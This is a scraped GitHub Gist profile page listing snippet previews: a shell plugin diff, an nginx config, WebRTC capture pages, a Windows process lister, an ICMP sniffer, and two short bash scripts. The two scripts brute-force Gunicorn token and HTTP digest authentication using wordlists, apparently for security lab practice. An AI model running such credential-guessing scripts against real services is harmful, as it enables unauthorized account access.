Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Gurkirat Singh tbhaxor

🏠
Working from home
View GitHub Profile
@tbhaxor
tbhaxor / alias.diff
Created Apr 21, 2021
Bashit Alias Plugin Diff
View alias.diff
--- /tmp/alias_completion-24679HnwBXq 2021-04-22 05:02:47.842921363 +0530
+++ /home/terabyte/.bash_it/plugins/available/alias-completion.plugin.bash 2021-04-22 05:02:46.726252452 +0530
@@ -1,2424 +1,106 @@
-function _alias_completion::- {
- local compl_word=$2
- local prec_word=$3
- # check if prec_word is the alias itself. if so, replace it
- # with the last word in the unaliased form, i.e.,
- # alias_cmd + ' ' + alias_args.
- if [[ $COMP_LINE == "$prec_word $compl_word" ]]; then
@tbhaxor
tbhaxor / app.sh
Created Mar 24, 2021
Gunicorn token authentication
View app.sh
cat $1 | while read TOKEN; do
content=$(curl -s -H "Authorization: Token $TOKEN" $2)
if echo $content | grep -qi unauth; then continue
else echo $content; break; exit 0
fi
done
@tbhaxor
tbhaxor / app.sh
Created Mar 24, 2021
Gunicorn digest bruteforce script
View app.sh
cat $1 | while read USER; do
cat $2 | while read PASSWORD; do
if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
then
continue
else
echo [+] Found $USER:$PASSWORD
exit 0
fi
done
View Laravel.conf
server {
listen 80;
server_name example.com;
root /srv/example.com/public;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Content-Type-Options "nosniff";
index index.php;
View hello.dart
void main() {
for (int i = 0; i < 5; i++) {
print('hello world ${i + 1}');
}
}
@tbhaxor
tbhaxor / capture-profile-pic.html
Created Apr 10, 2020
Capture profile pic from webcam using WebRTC Media API
View capture-profile-pic.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Capture Profile Pic</title>
<script src="https://webrtc.github.io/adapter/adapter-latest.js"></script>
<style>
video {
max-width: 240px;
@tbhaxor
tbhaxor / capture-video-and-audio.html
Created Apr 10, 2020
Capture Video and Audio in Single Browser via WebRTC Media API
View capture-video-and-audio.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Capture Video and Audio</title>
<script src="https://webrtc.github.io/adapter/adapter-latest.js"></script>
</head>
<body>
View app.py
from PyQt5 import QtWidgets, QtCore
from ui import Ui_MainWindow
from selenium.webdriver.chrome.webdriver import WebDriver
from selenium.webdriver.chrome.options import Options
import os
import traceback
import pickle as pkl
from pathlib import Path
from typing import List, Dict, Union
@tbhaxor
tbhaxor / proclist.cpp
Created Feb 24, 2020
Process listing api
View proclist.cpp
#include <stdio.h>
#include <Windows.h>
#include <WtsApi32.h> // for process enumerations
#include <tchar.h>
#include <sddl.h>
#include "Source.h"
#define MAX_ACC_NAME 1000
#define MAX_DOM_NAME 1000
@tbhaxor
tbhaxor / packet_sniffer.py
Last active Dec 3, 2019
Simple ICMP Packet Sniffer
View packet_sniffer.py
import os
import socket
from argparse import ArgumentParser, RawDescriptionHelpFormatter
# configuring the argument
parser = ArgumentParser(description="host discovery tool",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("--host",
help="hostname to bind",
metavar="HOSTNAME/IP",